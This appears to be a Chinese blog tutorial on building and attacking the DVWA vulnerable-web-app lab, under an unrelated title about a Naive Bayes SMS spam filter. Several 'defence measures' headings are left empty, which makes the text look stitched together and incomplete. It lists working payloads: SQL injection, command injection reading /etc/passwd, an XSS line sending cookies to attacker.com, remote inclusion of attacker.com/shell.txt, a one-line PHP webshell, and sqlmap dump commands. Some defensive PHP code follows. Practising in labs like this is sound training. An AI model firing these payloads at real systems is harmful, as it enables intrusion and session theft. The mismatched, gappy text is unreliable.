Python实战:用朴素贝叶斯构建高鲁棒性短信垃圾信息过滤器
2026/7/14 22:58:31
DVWA(Damn Vulnerable Web Application)是一个专门用于安全漏洞学习和测试的PHP/MySQL Web应用。本项目将带你完成DVWA靶场的搭建、配置和漏洞实战演练。
方案一:使用Docker(推荐)
# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 运行容器docker run -d -p80:80 --name dvwa vulnerables/web-dvwa方案二:本地安装(XAMPP/WAMP)
# 访问DVWAhttp://localhost# 点击"Create/Reset Database"创建数据库# 默认登录凭据:# 用户名:admin# 密码:passwordLow等级攻击:
-- 基础注入1' OR '1'='1-- 获取数据库信息1' UNION SELECT user(), database()-- -- 获取表名 1'UNIONSELECTtable_name,2FROMinformation_schema.tablesWHEREtable_schema=database()--防御措施:
攻击示例:
127.0.0.1 && whoami 127.0.0.1 | cat /etc/passwd 127.0.0.1; ls -la防御措施:
反射型XSS:
<script>alert(document.cookie)</script><svgonload=alert(1)>存储型XSS:
<script>newImage().src="http://attacker.com/steal?cookie="+document.cookie</script>防御措施:
本地文件包含:
../../../../etc/passwd php://filter/convert.base64-encode/resource=index.php远程文件包含:
http://attacker.com/shell.txt攻击步骤:
<?phpsystem($_GET['cmd']);?>配置流程: 1. 设置浏览器代理 2. 拦截HTTP请求 3. 使用Intruder模块进行暴力破解 4. 使用Repeater模块修改请求 5. 使用Scanner自动扫描漏洞# 基础扫描sqlmap -u"http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=xxx; security=low"# 获取数据库sqlmap -u<URL>--cookie=<COOKIE>--dbs# 获取表名sqlmap -u<URL>--cookie=<COOKIE>-D dvwa --tables# 获取数据sqlmap -u<URL>--cookie=<COOKIE>-D dvwa -Tusers--dump| 漏洞类型 | 难度 | 任务要求 | 完成状态 |
|---|---|---|---|
| SQL注入 | Low | 获取所有用户信息 | □ |
| SQL注入 | Medium | 绕过过滤获取数据 | □ |
| XSS反射型 | Low | 弹出当前Cookie | □ |
| XSS存储型 | Medium | 窃取管理员Cookie | □ |
| 文件上传 | High | 上传WebShell并执行命令 | □ |
| CSRF | Medium | 构造恶意页面修改密码 | □ |
// 使用预处理语句$stmt=$pdo->prepare("SELECT * FROM users WHERE id = :id");$stmt->execute(['id'=>$userId]);$result=$stmt->fetchAll();// 输出编码echohtmlspecialchars($user_input,ENT_QUOTES,'UTF-8');// 设置CSP头header("Content-Security-Policy: default-src 'self'");// 检查文件类型$allowed_types=['image/jpeg','image/png'];if(!in_array($_FILES['file']['type'],$allowed_types)){die("Invalid file type");}// 重命名文件$new_filename=uniqid().'.'.$extension;项目总结:通过DVWA实战项目,你可以系统性地学习Web安全漏洞的原理、利用方式和防御方法。建议按照从易到难的顺序逐步深入,并结合实际代码分析加深理解。安全测试不仅是技术学习,更需要良好的职业道德和法律意识。